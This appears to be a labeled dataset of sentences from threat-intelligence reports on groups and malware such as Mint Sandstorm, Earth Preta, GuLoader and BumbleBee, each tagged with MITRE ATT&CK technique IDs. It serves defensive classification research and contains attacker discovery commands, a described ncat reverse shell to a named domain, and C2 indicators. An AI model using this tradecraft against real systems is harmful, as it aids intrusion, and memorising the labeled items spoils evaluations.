of how long the POC has been available.", "labels": ["T1190"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "The two attack chains used by the Mint Sandstorm subgroup Attack chain 1: The Mint Sandstorm subgroup proceeds using Impacket to move laterally through a compromised organization and relies extensively on PowerShell scripts (rather than custom implants) to enumerate admin accounts and enable RDP connections.", "labels": ["T1021.001"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "The Drokbk backdoor issues a web request to obtain the contents of a README file on a Mint Sandstorm-controlled GitHub repo.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "The README file contains a list of URLs that direct targets to the C2 infrastructure associated with Drokbk.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "In one instance, Microsoft also observed the subgroup using TTPs from both attack chains in a single compromised environment.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "The PDF contains a link to a macro-enabled template file (dotm) hosted on Dropbox.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "This file has been weaponized with macros to perform remote template injection, a technique that allows operators to obtain and launch a payload from a remote C2, often OneDrive.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "CharmPower is a modular backdoor written in PowerShell that this subgroup delivers in phishing campaigns that rely on template injection.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Public scanning interfaces, such as Microsoft Defender External Attack Surface Management, can be used to improve data.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Organizations using Zoho ManageEngine products vulnerable to CVE-2022-47966 should download and apply upgrades from the official advisory as soon as possible.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "This guidance is useful for any organization with vulnerable applications and useful beyond this specific campaign, as several adversaries exploit Log4Shell to obtain initial access.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "This Mint Sandstorm subgroup has demonstrated its ability to rapidly adopt newly reported N-day vulnerabilities into its playbooks.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "C!dha Trojan:Win32/Drokbk.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Congressional Research Service Cobalt Illusion Masquerades as Atlantic Council Employee.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Mandiant Badblood: TA453 Targets US & Israel in Credential Phishing.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Understanding a new anti-debug technique deployed by GuLoader.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "First parameter of CallWindowProcW is lpPrevWndFunc.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Malware raises exceptions by executing cleverly crafted series of instructions.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Ultimate goal of GuLoader for using this anti-debug technique is to achieve runtime control flow obfuscation.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Uses Heaven Gate technique to redirect it’s execution under x64 OS.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Uses EnumDeviceDrivers and GetDeviceDriverBaseNameA APIs.", "labels": ["T1106"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Use NtQueryInformationProcess API with DebugPort(0x7).", "labels": ["T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "GuLoader allocates approximately 60MB of memory space for the payload of size few KBs.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "This variant of GuLoader has added two new additional exceptions EXCEPTION_ACCESS_VIOLATION & EXCEPTION_SINGLE_STEP compared to last variant it has only one exception EXCEPTION_BREAKPOINT exception.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Popping the flag register back off the stack (POPFD).", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Using structure EXCEPTION_POINTERS, VEH can access all the information regarding raised exceptions and reading the values of all the registers of processor using structure CONTEXT.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "If it is not zero, then it returns 0 and ultimately crashes down.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "If found it set the ContextRecord to 0 which leads malware to crash.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "(It differs sample to sample) Fig 10.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Debug register check.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "0x6A where Value 1 depicts size of instruction (CC) where exception is raised.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "WRITING IDA PYTHON SCRIPT IDAPython is an IDA Pro plugin that integrates the python programming language, allowing scripts to run in IDA Pro. IDA provides different modules to work on disassembly of instructions.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Also finds out that GuLoader’s VEH has been called more than 1100 times.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "SonicWall Capture Labs provides protection against this threat via the SonicWall Capture ATP w/RTDMI.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "After months of investigation, we found that several undisclosed malware and interesting tools used for exfiltration purposes were used in this campaign.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The full infection chain We categorize the different TTPs into six stages: arrival vectors, discovery, privilege escalation, lateral movement, command and control (C&C) and exfiltration, respectively.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "We found that the threat actors have hidden a PE file in one of the archive’s ZIPFILERECORD structures.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The first payload retrieved from the PUBLOAD HTTP variant After decryption, it then checks if the first byte of the decrypted payload is 0x06.", "labels": ["T1071.001", "T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The decrypted payload contains another payload that is XOR-encrypted with the bytes 23 BE 84 E1 6C D6 AE 52 90.", "labels": ["T1027", "T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The second payload retrieved from the PUBLOAD HTTP variant After this is decrypted, there is yet another final backdoor payload that supports data upload and command execution.", "labels": ["T1059.003", "T1071.001", "T1105", "T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The final payload of the PUBLOAD HTTP variant Command Internal string 0x03 - 0x01 - 0x1B UploadBegin error : %d! 0x1D UploadData error : %d! 0x1A - 0x1E CmdStart error : %d! 0x1F CmdWrite error :", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Command codes in the PUBLOAD HTTP variant In addition, we found some interesting debug strings and event names among the PUBLOAD samples.", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Event name in PUBLOAD Figure 12.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "It also changes how Windows handles the ms-settings protocol — in this case, the string ms-settings is a Programmatic Identifier (ProgID).", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "It also sets up a new ProgID aaabbb32 and its shell open command.", "labels": ["T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The added ProgID aaabbb32 HackTool.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Win 32.HIUPAN and+ Backdoor.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "HIUPAN and ACNSHELL infection flow The USB Driver.exe program first sideloads u2ec.dll, which then loads the payload file usb.ini.", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "USB Driver.exe then starts checking whether it is properly installed.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "It will then create a reverse shell via ncat.exe to the server closed[.]theworkpc[.]com.", "labels": ["T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Command and Control (C&C)C&C stage Earth Preta employed several tools and commands for the C&C stage.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Meanwhile, loader.ja is used under two processes: One is under googleupdate.exe, which is used for the first sideloading.", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The second is under winver.exe, which is injected to conduct backdoor behaviors.", "labels": ["T1055"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Open decoy document Figure 24 shows the whole execution flow of COOLCLIENT. Figure 24.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Win32.TROCLIENT The backdoor TROCLIENT, which was also first disclosed in Sophos’s report, is similar to COOLCLIENT.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "For example, in some cases, we observed that WinRAR and curl (or cURL) were leveraged to collect and transfer data to the threat actor’s server.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "In the following sections, we share the details of the unique exfiltration toolsets developed by Earth Preta.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Upon checking the FTP server, we learned that the threat actors focused on sensitive and confidential documents, most of which were compressed and protected with a password.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Based on our observations, the documents were organized via the categorization of the victim’s host name and disk drive.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Arguments of the NUPAKAGE malware Every NUPAKAGE malware needs a unique passcode as its first argument to continue execution.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on ‘Change’ to select default PDF handler.pdf [+] FILE PATH SIZE: 210 [+] FILE ORIGINAL SIZE:", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "[+] All completed!", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The NUPAKAGE malware first generates a key blob randomly, with the key being encrypted in a custom algorithm.", "labels": ["T1573.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Starting from the offset 0x80, there exists a long array of all the exfiltrated data.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Much of the information from the exfiltrated files are saved, such as the MD5 hash, the length of the file name, the compressed file size, the original file size, the file name, and the file’s content.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "In the example shown in Figure 36, the passcode is “start”.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Submission of adobe_licensing_wf_helper.exe The third file is a password-protected archive, which has the exact same file name, List of terrorist personnel at the border[1].rar.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Unfortunately, we didn’t have the password, so we were unable to decompress it.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Sandbox screenshot of the file Letter Head.docx on VirusTotal When the download prompt is shown, Internet Explorer will silently download this file in the background even before the user selects the “Save” button.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "As a result, the file will be saved to the cache folder named “INetCache,” after which we see a dropped RAR file: C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\R0IAZP7Z\\List%20of%20terrorist%20personnel%20at%20the%20border[1].rar.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Since the RAR file is downloaded automatically by Internet Explorer, Letter Head.docx will be treated as its execution parent.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "For example, we found a specific name “TaoZongjie” among the different malware samples we collected.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "User “TaoZongjie” We found some samples sharing the same special string/name “TaoZongjie,” including the Cobalt Strike malware, a Windows user on a TONESHELL C&C server, and the displayed message in the pop-up dialog box of TONESHELL.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Here, we found that one of the Windows users was called “TaoZongjie.”", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Infection flow of Cobalt Strike Figure 51.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Message boxes of TONESHELL Based on what we found among the different samples, we assume that taozongjie could be one of the flags used by the threat actors.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "At the time of writing, this GitHub space was still accessible, with five repositories: “View2015,” “View2016,” “1226,” “ee,” and “14.”", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "As for privilege escalation, the threat actors tend to reuse codes copied from open-source repositories.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "We learned the basics of assembly and how to use disassemblers.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Often, malware targeting Windows will be packed and delivered as a second stage.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "MPRESS is a free packer.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "The packers compress (and if it has the functionality of a crypter also encrypts) the original executable, which is saved in one of the sections of the final packed file.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "The entry point of the original file is relocated, and so is the Import Address Table (IAT).", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Viewing the section of a file (see technical analysis on this packer here).", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Packed samples usually have very few imports as they don’t rely on external libraries like other programs.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Several functions can be a good place for putting a breakpoint and attempting to fetch the extraction process.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "API Calls Essentially, all packers need to perform the following operations: allocate memory, change permissions, read the encrypted/packed chunk of code, decrypt it, load it to the allocated memory space and execute it.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Knowing the size can help identify when a program allocates big memory space, possibly for the unpacked payload.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Debuggers also allow you to see how strings and payloads are deobfuscated and constructed – making it easier to find the interesting patterns of the malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "For 32-bit executables, it’s x32dbg.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "While Intezer automatically identifies that the file is packed and extracts the payload for us, we will show how you can manually extract the payload here.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "We can run the strings command on the sample.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "So, as shown below, we will ask x32dbg to run to user mode.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "We can continue running the program until the next hit on the VirtualAlloc call.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "In the memory map, right-click the section and hit “Dump memory to file.”", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "We can see in Intezer that, indeed, it’s", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "This Windows executable is embedded into UEFI firmware and written to disk by firmware as part of the system boot process, a technique commonly used by UEFI implants and backdoors.", "labels": ["T1027"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "%SystemRoot%\\system32\\GigabyteUpdateService.exe It then sets registry entries to run this executable as a Windows Service.", "labels": ["T1112", "T1569.002"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Therefore, MITM is possible in that case also.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Most of these were used to enable persistence of other, OS-based malware.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This challenge was demonstrated before when trying to remove Computrace LoJack and relates to vulnerabilities in Lenovo Service Engine on notebooks and desktops.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Update systems to the latest validated firmware and software in order to address security issues like this one. Inspect and disable the “APP Center Download & Install” feature in UEFI/BIOS Setup on Gigabyte systems and set a BIOS password to deter malicious changes.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "It is frequently used by cybercriminals as a ‘quick solution’ in lieu of implementing something more bespoke.", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "Background NetSupport RAT is based on NetSupport Manager, a legitimate tool which is frequently used by bad actors for malicious purposes in ways similar to TeamViewer.", "labels": ["T1219"], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "Base64 encoded RAT execution command The command decodes to look similar to the following: NetSupport RAT decoded command Persistence for the RAT is achieved via registry entry, and a shortcut to the installed RAT executable is written to the Startup folder.", "labels": ["T1027", "T1140", "T1547.001"], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "Launch behavior, including delays in execution or outgoing connection, can be controlled by the attacker.", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "NetSupport RAT data in %temp%.", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "These files are all self-deleted after launch or full installation of the attacker configuration.", "labels": ["T1070.004"], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "SentinelOne Singularity provides protection against malicious behaviors associated with NetSupport RAT. Indicators of Compromise SHA1 Samples 593966f38d6b062bec8534ec070a194ac3a3c3d8 3a511941b09fdfed1b53bd89e55be7a3211b19c2 16cf01d8e0753e4b6fac781266d033996af6731d f1c454645ab0adec41765f29861a5b5dd9bda313 0ef99e15452154c240f80c874384d04c46b154a0 ec7e8093b8d35a0e6fbf7b1869d685f0be0e8108 dfc9b696267ae466c6ffa44e63e314df79264afd 4c5771b7fb683b160cb1f7396d39dd706aa7021d ee3c0579cbcdb5f50ff8cd750a59d89d7757d7a4 288603f501926756c236e368a1fdc7d128f4f9a1 06906aee0ddba30e560e4b60e140e0c098519bb2 7c090065de1090fa92ff01f06739fbca04e6936d 61679dbe1d13d9c25000142fd51b9f4e952a7098 2d6b1900e093c9c8bcce642792e3fadc90b3b0ac 171692daf0a136154edde6e22c791d238ae8c1d0 4233ff7941da62b86fc2c2d92be0572c9ab534c8 DNS/Domains she32rn1[.]com MITRE ATT&CK T1219 – Remote Access Software T1053.005 – Scheduled Task/Job: Scheduled Task T1047 – Windows Management Instrumentation T1564.001 – Hide Artifacts: Hidden Files and Directories T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1564.003 –", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "In this blog post, we provide excerpts from the recent reports that focus on uncommon infection methods and describe the associated malware.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "If for some reason these methods don’t work, then a malware downloader is uploaded to the device via the shell “echo” commands.", "labels": ["T1059.003", "T1105"], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "Although Rhadamanthys was using phishing and spam initially as the infection vector, the most recent method is malvertising.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "Both search engine and website-based ad platforms are leveraged by Rhadamanthys.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "The repository is popular with cybercriminals, as illustrated by the huge number of samples we detected that featured many small changes and were combined with the different URLs and TTPs, making it clear that the malware is used by multiple groups in various ways concurrently.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "Nevertheless, many crack sites these days do not immediately provide downloads.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "Instead, they point to Discord server channels for further discussion.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "Creates empty files and subdirectories in %ProgramData%\\HostData to make the directory look benign.", "labels": ["T1105"], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "They often lack the required skills and contacts to conduct massive campaigns.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "This suggests involvement of at least one individual in the Rhadamantys campaign who had also been involved in the development of Hidden Bee.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "This blog post was authored by Hasherezade and Jérôme Segura", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Gootkit is a very capable banking Trojan that has been around since 2014 and possesses a number of functionalities such as keystroke or video recording designed to steal financially-related information.", "labels": ["T1056.001"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Victims receive Gootkit itself or, in some cases, the REvil (Sodinokibi) ransomware.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Figure 1: Gootkit infections in Germany in the wake of the campaign After a couple of days, we remediated over 600 unique machines that had been compromised.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The following diagram shows a high level overview: Figure 5: Infection flow Stage 1 – The first JavaScript The first JavaScript is the module that has to be manually executed by the victim, and it has been obfuscated in order to hide its real intentions.", "labels": ["T1027", "T1204.002"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It also deobfuscates and runs another block of code: Figure 8: Third JavaScript layer This fragment of code is responsible for connecting to the C2.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Execution of the second stage JavaScript leads to the payload being written to the registry, as a list of keys.", "labels": ["T1112"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Encoding]::Unicode.GetString([System.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "This PE is written in Delphi.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "In its resources we can find another PE (327916a876fa7541f8a1aad3c2270c2aec913bc8898273d545dc37a85ef7307f ), obfuscated by XOR with a single byte.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The latter has really flourished during the past few years and has earned criminals millions of dollars in part thanks to large ransom payments from high profile victims.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "[327916a876fa7541f8a1aad3c2270c2aec913bc8898273d545dc37a85ef7307f] Variant 2 (REvil): NET loader [0e451125eaebac5760c2f3f24cc8112345013597fb6d1b7b1c167001b17d3f9f]Delphi PE", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The “Forked” version of the malware loader first appeared in February 2023, distributed directly through thousands of personalized invoice-themed phishing emails.", "labels": ["T1566.001"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "This Cobalt Strike beacon was subsequently executed and then proceeded to inject into various other processes on the host (explorer.exe, rundll32.exe).", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "After this activity, the threat actors went silent.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "After the scripts ran, a new Cobalt Strike executable beacon was run on the beachhead.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The initial payload named BC_invoice_Report_CORP_46.iso, is an ISO image that once mounted, lures the user to open a document.lnk file which will execute the malicious DLL loader using the following command line:", "labels": ["T1059.003", "T1204.002", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "powershell.exe -nop", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The full config extraction, detailing the Malleable C2 profile, is available in Command and Control section.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The parent process of this command was C:\\Windows\\system32\\svchost.exe -k ClipboardSvcGroup -p", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "This command is a built-in Cobalt Strike command that is used to get SYSTEM privileges.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Right after its execution, the wab.exe process created two remote threads in order to inject code into explorer.exe and rundll32.exe: Threat actors also created a remote thread in svchost.exe: Multiple processes were then spawned by : C:\\Windows\\system32\\svchost.exe -k ClipboardSvcGroup -p", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Discovery Reconnaissance System Information & Software Discovery The following commands were launched by wab.exe beacon: whoami ipconfig /all tasklist systeminfo wmic product get name,version wmic /node: process list brief net view \\\\\\Files$ /all dir \\\\\\C$\\ Using the same beacon, wab.exe, tasklist was also used in order to enumerate processes on multiple hosts remotely: tasklist /v /s", "labels": ["T1016", "T1033", "T1047", "T1057", "T1082"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Opsec mistake Threat actors failed on a part of their tasks, by executing the command in the wrong console: C:\\Windows\\System32\\rundll32.exe ➝ C :\\Windows\\system32\\cmd.exe /C", "labels": ["T1033", "T1059.003", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Below are all the command lines run by the adversaries: Lateral Movement Lateral Tool Transfer Using the Cobalt Strike beacon, the threat actors transferred AnyDesk (1).exe file from the beachhead to a server: The threat actors also transferred ProcDump from the beachhead to multiple workstations: Remote Services Remote Desktop Protocol Threat actors used explorer.exe, where they were previously injected into, to initiate a proxied RDP connection to a server: Threat actors performed the first lateral movement from the beachhead to the server using RDP with an Administrator account: This first lateral movement was performed in order to drop and install AnyDesk.", "labels": ["T1021.001", "T1055", "T1078", "T1570"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "On each usage of this feature, a remote service was created with random alphanumeric characters, service name and service file name, e.g. “<7-alphanumeric-characters>.exe”.", "labels": ["T1543.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The random (PsExec) service runs a rundll32.exe process without any arguments.", "labels": ["T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Pty Ltd Subject Org: Internet Widgits Pty Ltd Public Algorithm: rsaEncryption Cobalt Strike Cobalt Strike (CS) was extensively used during this intrusion, the threat actors used CS as the main Command and Control tool, dropped several payloads, and injected into multiple processes on different hosts.", "labels": ["T1055", "T1105"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "C2 Servers Two Cobalt Strike Command and Control servers were used during this intrusion.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The graph below shows beaconing activity over time, we can notice the continuous usage of the first C2 server (45.153.243[.]142/fuvataren[.]com) from day 1 and the second C2 server (108.62.12[.]174/dofixifa[.]co) during the last day of intrusion only (day 11): The main beacon wab.exe: 45.153.243[.]142 fuvataren[.]com JA3: a0e9f5d64349fb13191bc781f81f42e1JA3s: ae4edc6faf64d08308082ad26be60767Certificate:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "%windir%\\sysnative\\rundll32.exe state_machine: 